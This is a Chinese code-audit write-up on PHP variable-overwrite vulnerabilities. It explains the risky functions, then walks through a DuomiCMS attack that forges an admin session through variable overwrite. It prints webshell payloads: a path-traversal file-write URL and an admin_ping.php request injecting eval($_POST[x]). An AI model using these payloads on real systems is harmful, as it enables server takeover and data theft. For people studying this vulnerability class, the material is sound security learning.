代码审计-Duomi变量覆盖getshell
变量覆盖一些基础记录:
自定义的参数值替换原有变量值的情况称为变量覆盖漏洞
漏洞函数:
$$可变变量
extract()函数使用不当
parse_str()函数使用不当
import_request_variables()使用不当
1.$$
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
2..extract()变量覆盖
extract() 函数从数组中将变量导入到当前的符号表。
语法
extract(array,extract_rules,prefix)
3.parse_str()变量覆盖
parse_str()
函数把查询字符串解析到变量中。
语法
parse_str(string,array)**
参数 描述
string
必需。 规定要解析的字符串。
array
可选。 规定存储变量的数组名称。该参数指示变量存储到数组中。
4.import_request_variables()变量覆盖
import_request_variables
—将 GET/POST/Cookie
变量导入到全局作用域中
import_request_variables()
函数就是把GET、POST、COOKIE
的参数注册成变量,用在register_globals
被禁止的时候
2.语法
bool import_request_variables(string$types[,string$prefix] )
$type
代表要注册的变量来源 ,G
代表get
, P
代表post
,C
代表cookie
php-security-calendar-2017变量覆盖例题
https://www.ripstech.com/php-security-calendar-2017/
Carrot 类的构造方法将超全局数组 $_GET 进行变量注册,这样即可覆盖 第8行 已定义的 $this-> 变量。而在 第16行 处的析构函数中, file_put_contents 函数的第一个参数又是由 $this-> 变量拼接的,
可以控制写入文件的位置,最终造成任意文件写入问题
http://127.0.0.1/2017_var_vul.php?id=../var/www/html/webshell.php&shell=',)%0a<?php @eval($_POST[x]);?>
DuomiCMS`变量覆盖实战
CMS中的全局变量注册代码 导致变量覆盖
duomiphp/common.php:
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar); //转义函数
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); //用addslashes进行清洗
}
其中 _RunMagicQuotes 函数将特殊符号,使用 addslashes 函数进行转义处理
WWW\Duomicms\duomiphp\common.php:_RunMagicQuotes
:
过滤规则:
duomiphp\webscan.php
利用文件\WWW\Duomicms\admin\admin_ping.php可写入webshell(需要admin权限 通过变量覆盖来伪造):
验证admin身份的代码:
\WWW\Duomicms\duomiphp\check.admin.php:
require_once($admincachefile);
class userLogin
{
var $userName = '';
var $userPwd = '';
var $userID = '';
var $adminDir = '';
var $groupid = '';
var $keepUserIDTag = "duomi_admin_id";
var $keepgroupidTag = "duomi_group_id";
var $keepUserNameTag = "duomi_admin_name";
//php5构造函数
function __construct($admindir='')
{
global $admin_path;
if(isset($_SESSION[$this->keepUserIDTag]))
{
$this->userID = $_SESSION[$this->keepUserIDTag];
$this->groupid = $_SESSION[$this->keepgroupidTag];
$this->userName = $_SESSION[$this->keepUserNameTag];
}
寻找使用session变量认证的地方 通过变量覆盖达到伪造admin身份 以至于使用admin_ping.php
中的文件写入代码 ,写入webshell
\Duomicms\member\share.php
gethshell:
http://127.0.0.1/Duomicms/admin/admin_ping.php?action=set
weburl=";@eval($_POST[x]);//&token=&x=system('dir');
------------------------------------------------------------------------------------